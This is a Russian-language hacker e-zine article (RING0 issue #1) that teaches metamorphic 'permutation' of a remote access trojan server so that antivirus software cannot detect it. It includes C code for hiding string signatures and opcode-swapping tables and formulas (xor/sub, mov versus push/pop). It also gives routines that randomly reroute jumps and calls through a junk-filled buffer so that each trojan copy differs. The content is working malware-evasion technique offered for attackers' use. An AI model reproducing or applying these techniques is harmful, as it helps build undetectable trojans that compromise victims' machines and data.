/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                             Пермутация в rat

                                                          by CNerd/HangUP

  Прежде всего по поводу термина. Для нас пермутация есть некое изменение
 исполняемого  кода  на уровне asm-инструкций, позволяющая затруднить или
 совсем  обломать  детектирование  rat-сервера антивирусом. Проще говоря,
 одни  инструкции заменяются другими без нарушения работоспособности всей
 проги.
  Следует   отметить,   что  пермутация  крайне  эффективна,  но  следует
 отказаться  от  размещения  данных  в  коде  в чистом виде, тк эти самые
 данные (текстовые строки и тд...) суть сигнатура.
  Вобщем-то  отказ  от текстовых строк и проч. не так уж и сложен, это не
 очень высокая плата за недетектируемость:

   char buf[65535],tmp[65535]

  было (есть сигнатура):

   GetWindowsDirectory(buf,255);
   wsprintf(buf,"%s\\%s.exe",buf,exename);

  стало  (данные  растворились  в  коде, а код будет мутирован, сигнатуры
 нет):

   GetWindowsDirectory(buf,255);
   tmp[0]='%'; tmp[1]='s'; tmp[2]='\\'; tmp[3]='%'; tmp[4]='s';
   tmp[5]='.'; tmp[6]='e'; tmp[7]='x';  tmp[8]='e'; tmp[9]=0;
   wsprintf(buf,tmp,buf,exename); // tmp: "%s\\%s.exe"

  Однако,  вернемся  к нашим копытным, то бишь к пермутации. Метод весьма
 прогрессивен,  но  и  труден  в  реализации.  Прежде  всего, потребуется
 дизассемблер.  Да не тот, который IDA, а тот который будет встроен в наш
 код.
  Автором  дизасма  является  товарисч Zombie (пользуясь случаем, передаю
 привет  и  все  такое  ;). Код на це идет в прилагаемом к статье архиве.
 Вызывается этот ценный стафф так:

 char temp[65535]; // сюда запихивается код для пермутации
 int ip;           // адрес, с которого начинать дизассемблирование

 disasm(&temp[ip]);

  Длина  инструкции  будет возвращена в disasm_len , что собственно нам и
 требовалось. Сам процесс идет покомандно, то есть прийдется организовать
 цикл вроде этого:
 while (ip < докуда_дизасмить)
 {
  disasm(&temp[ip]);

  // ... а здесь вся фигня, осуществляющая пермутацию
  // над отдельно взятой командой

  ip=ip+disasm_len;
 }

  Теперь рассмотрим, как может проходить пермутация:

  1. Замена xor reg8/32,self <-> sub reg8/32,self

30C0 xor al,al   28C0 sub al,al
30C9 xor cl,cl   28C9 sub cl,cl
30D2 xor dl,dl   28D2 sub dl,dl
30DB xor bl,bl   28DB sub bl,bl
30E4 xor ah,ah   28E4 sub ah,ah
30ED xor ch,ch   28ED sub ch,ch
30F6 xor dh,dh   28F6 sub dh,dh
30FF xor bh,bh   28FF sub bh,bh

31C0 xor eax,eax   29C0 sub eax,eax
31C9 xor ecx,ecx   29C9 sub ecx,ecx
31D2 xor edx,edx   29D2 sub edx,edx
31DB xor ebx,ebx   29DB sub ebx,ebx
31E4 xor esp,esp   29E4 sub esp,esp
31ED xor ebp,ebp   29ED sub ebp,ebp
31F6 xor esi,esi   29F6 sub esi,esi
31FF xor edi,edi   29FF sub edi,edi

  Собственно   пермутация   в   обе   стороны   может  быть  осуществлена
 незамысловатым xor'ом по 0x18 первого байта:
 b1, b2 - первый и второй байты соответственно
 ip     - адрес инструкции

if (((b1 == 0x31) || (b1 == 0x30) || (b1 == 0x29) || (b1 == 0x28)) &&
   (((b2-0xC0)/9)*9 == b2-0xC0)) temp[ip]=b1^0x18;

  2. Замена mov reg32,reg32 <-> push reg32 ; pop reg32

89C0-89FF          5058-575F

89C8 mov eax,ecx   5158 push ecx; pop eax
89D0 mov eax,edx   5258 push edx; pop eax
89D8 mov eax,ebx   5358 push ebx; pop eax
89E0 mov eax,esp   5458 push esp; pop eax
89E8 mov eax,ebp   5558 push ebp; pop eax
89F0 mov eax,esi   5658 push esi; pop eax
89F8 mov eax,edi   5758 push edi; pop eax

89C1 mov ecx,eax   5059 push eax; pop ecx
89D1 mov ecx,edx   5259 push edx; pop ecx
89D9 mov ecx,ebx   5359 push ebx; pop ecx
89E1 mov ecx,esp   5459 push esp; pop ecx
89E9 mov ecx,ebp   5559 push ebp; pop ecx
89F1 mov ecx,esi   5659 push esi; pop ecx
89F9 mov ecx,edi   5759 push edi; pop ecx

89C3 mov ebx,eax   505B push eax; pop ebx
89CB mov ebx,ecx   515B push ecx; pop ebx
89D3 mov ebx,edx   525B push edx; pop ebx
89E3 mov ebx,esp   545B push esp; pop ebx
89EB mov ebx,ebp   555B push ebp; pop ebx
89F3 mov ebx,esi   565B push esi; pop ebx
89FB mov ebx,edi   575B push edi; pop ebx

  ...  и  тд  до  полного  оргазма.  Этого  вполне хватает, чтобы вывести
 формулы для прямого преобразования:

b2 - второй байт b1n, b2n - новые первый и второй байты

b1n = 0x50+(b2-0xC0)/8 b2n = 0x58+b2-0xC0-((b2-0xC0)/8)*8

  и обратного преобразования:

b2 = (b1n-0x50)*8+0xC0 + b2n-0x58

  В коде это выглядит так:

   // mov reg32,reg32   89C0-89FF

  if ((b1 == 0x89) && (b2 >= 0xC0))
  {
   temp[ip]=0x50+(b2-0xC0)/8;               // push reg32
   temp[ip+1]=0x58+b2-0xC0-((b2-0xC0)/8)*8; // pop  reg32
   goto skip;
  }

   // push reg32   50-57 ; pop reg32   58-5F

  if ((b1 >= 0x50) && (b1 <= 0x57) && (b2 >= 0x58) && (b2 <= 0x5F))
  {
   temp[ip]=0x89;                           // mov reg32,reg32 opcode
   temp[ip+1]=(b1-0x50)*8+0xC0 + b2-0x58;   // reg32,reg32
   disasm_len=2; // из 2-х команд стала одна - корректируем
  }

 skip:

  3. Переадресация всех переходов (j? xxx) и вызовов (call xxx)
  Это требует некоторых пояснений. Cуть: обходим дизасмом исполняемый код
 в  поисках  инструкций  вида j? addr и call addr, меняем addr, так чтобы
 оно указывало на некоторый адрес в предварительно созданном нами буфере,
 а  по  этому  адресу  располагаем  jmp  со старым значеним addr. Буфер я
 создал следующим извращенным способом ;) :

 // Permutation buffer

void dup()
{
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 50 bytes
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 500 bytes
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 1000 bytes
}

  В  результате  в  коде  появилась  область  в 1000 байт, сплошь забитая
 call'ами.  Кстати  говоря, джампы надо обязательно разбавлять мусором, а
 неиспользуемую  часть  буфера  забивать  случайными  данными,  тк  такое
 нехилое количество jmp/call само по себе есть неплохая сигнатура.
  Остановимся на технических деталях. Для разграничения используемой (уже
 забитой  джампами) и свободной части буфера будем использовать метку - 5
 FF'ов.  Да,  еще,  пермутация  любой  инструкции  (вообще,  а  не только
 j?/call)  должна  происходить  с определенной вероятностью, чтобы каждая
 новая копия rat-сервера существенно отличалась от предыдущей. Собственно
 ради этого и весь геморрой с меткой.
  Также  разберем  инструкции, которые собрались пермутировать на примере
 jmp.   Длина  5  байт,  1-й  байт  -  opcode,  остальные  4  -  смещение
 относительно  eip. С call дела обстоят точно так же, только опкод другой
 - E8.
  Незначительное различие для команд условного перехода - их длина 6 байт
 вместо
  5.  Первый  -  опкод,  0F,  второй  -  тип  условного перехода (80-8F).
 Остальные  4  -  опять  же  смещение относительно eip. Поскольку команда
 длиннее  на 1 байт, в коде есть соотв. строка для корректного вычисления
 адреса. Перейдем к рассмотрению кода:

  int x,z,c;
  int a1,a2; // начало и конец буфера в массиве temp
  DWORD d;   // для преобразований относительный <-> абсолютный адрес

   // jmp addr           call addr         j? addr   0F80-0F8F

  if ((b1 == 0xE9) || (b1 == 0xE8) || ((b1 == 0x0F) && (b2 >= 0x80) && (b2 <= 0x8F)))
  {
   for (z=a2;z>a1;z--) for (x=0;x<5;x++) if (temp[z+x] != 0xFF) break;
   else if (x == 4) goto found; // 5 FF'ов - метка "end of used area"

   found:
   if (a2-z > 15) // резерв 15 байт, чтобы не запороть код вне буфера
   {
    c=rand()/20000;  // + случайное смещение для метки
    for (x=z;x < a2;x++) temp[x]=rand()/300;   // забиваем мусором
    for (x=z+5+c;x < z+10+c;x++) temp[x]=0xFF; // переносим метку

    x=0; if (b1 == 0x0F) x=1; // +1 для условных переходов (6 байт)

    temp[z]=0xE9;          // ставим джамп в буфере
    d=MAKELONG(MAKEWORD(b[1+x],b[2+x]),MAKEWORD(b[3+x],b[4+x]));

    d=d-z+ip+x;            // формируем адрес для джампа
    temp[z+1]=LOBYTE(LOWORD(d)); temp[z+2]=HIBYTE(LOWORD(d));
    temp[z+3]=LOBYTE(HIWORD(d)); temp[z+4]=HIBYTE(HIWORD(d));

    d=0xFFFFFFFF-ip+z-4-x; // меняем адрес ориг. джампа на буфер
    temp[ip+1+x]=LOBYTE(LOWORD(d)); temp[ip+2+x]=HIBYTE(LOWORD(d));
    temp[ip+3+x]=LOBYTE(HIWORD(d)); temp[ip+4+x]=HIBYTE(HIWORD(d));
   }
  }

  Пока это все. Добавлю лишь, что есть еще один способ пермутации - путем
 обмена инструкций местами. Но об этом в следующий раз ;).